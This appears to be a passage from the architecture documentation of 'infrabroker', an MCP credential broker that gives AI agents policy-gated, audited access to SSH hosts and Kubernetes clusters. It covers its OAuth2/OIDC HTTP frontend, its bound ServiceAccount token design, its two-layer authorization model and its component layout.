HTTP+OAuth2/OIDC frontend (v1.4.0). The MCP spec reserves OAuth for HTTP transports (stdio relies on process isolation). infrabroker serve-mcp-http implements RFC 9728 + OAuth 2.1: no token → 401 WWW-Authenticate pointing at /.well-known/oauth-protected-resource; the client does Authorization Code + PKCE and retries with a bearer token; the broker validates the JWT locally against the issuer's JWKS (go-oidc, cached/rotated) — no per-request round-trip, no client_secret. TokenInfo.UserID → Caller.ID → audit; groups_claim → Caller.Groups → Intent.EndUserGroups → per-user RBAC. Tools and logic are shared with stdio via internal/mcpserver.Register; the only difference is CallerFunc(ctx, req) → broker.Caller, which in HTTP reads the token of each tool call's own request (req.Extra.TokenInfo), never the token that created the MCP session (#807). Fail-closed (v1.11.2): missing groups claim (when configured) or missing iat (when max_token_age_seconds > 0) rejects the token.

Kubernetes target (v1.34.0)

The signer can also broker access to Kubernetes clusters, reusing the whole control plane (identity, RBAC, approval, grants, signed audit) with a new action grammar instead of the shell one. It is a credential-broker, the same posture as SSH: the signer mints a short-lived, narrowly-scoped credential and steps out of the data path — the agent never holds a cluster credential.

  • Authentication (how the signer proves identity to the cluster): bound ServiceAccount tokens. Per cluster the signer holds one minimal-privilege minter credential (token_file) whose entire RBAC is create on serviceaccounts/token for the bound SAs. For an authorised action it calls the TokenRequest API to mint a bound token (TTL 600–900s) for the ServiceAccount selected by the end user's groups (sa_bindings), and returns it to the broker over the existing mTLS channel — exactly as it returns an SSH certificate. The broker runs the one API call with that token (plain REST, net/http; no client-go) and discards it.
  • Authorization has two layers, like SSH. Layer A is the broker's PDP: a per-cluster default-deny ActionPolicy (structured {verbs, resources, namespaces, names, effect} rules). Each action is reduced to a canonical string — <verb> <resource[.group]> <namespace>/<name> (e.g. delete pods prod/web-1) — built from charset-validated fields (never parsed), so it is injection-free. The rules compile at load into the same PolicySet machinery as command_policy, so deny-wins composition, runtime grants, approve-and-learn waivers, and policy recommend all apply to k8s actions unchanged. The broker sends the structured fields and the canonical string; the signer recomputes the string and rejects a mismatch, so the approver and the audit log see exactly what runs. Layer B is the cluster's own RBAC on the bound SA — the enforcer that replaces sshd.
  • What does not transfer. SSH's headline guarantee — an inevadible per-command firewall via the certificate force-command enforced by sshd — has no Kubernetes equivalent: a token grants the SA's whole RBAC, not "only this one call". So k8s granularity is the SA's RBAC (layer B) refined by the broker's action policy (layer A), not "only this exact object". This is the documented trade of the credential-broker posture (THREAT_MODEL.md).
  • Surface. Six curated MCP tools, registered once at broker start when at least one cluster is configured (per-caller visibility applies inside them): k8s_list_clusters, k8s_get, k8s_list, k8s_logs (read), plus k8s_apply and k8s_delete (mutating, policy/approval-gated). No pod-exec, port-forward, watch, or sessions in this phase. A k8s_apply manifest never travels to the signer or into the audit log verbatim (it can carry a Secret) — only its sha256 is recorded (body_sha256), mirroring file transfers.

Cluster names must be disjoint from SSH host names (grants and the audit host field are indexed by that shared name). Clusters are a parallel map (kubernetes.clusters in signer.json) with their own ClusterPolicy type — HostPolicy is untouched.


Component map

Component Holds CA key? Holds state? Role
infrabroker serve-mcp (stdio) no sessions local MCP frontend for the model
infrabroker serve-mcp-http no sessions network MCP frontend (OAuth2/OIDC)
infrabroker serve-http no none HTTP+mTLS one-shot frontend (no session endpoints)
cmd/control-plane no approvals, behavior optional PEP (approval + guardrails)
cmd/signer yes grants, freezes, rate buckets sole CA custodian; policy + RBAC + signing
cmd/broker-ctl no none operator CLI for signer.json + audit + approvals

See OPERATIONS.md for how to run and configure each, and the file tree in HANDOFF.md for the package layout.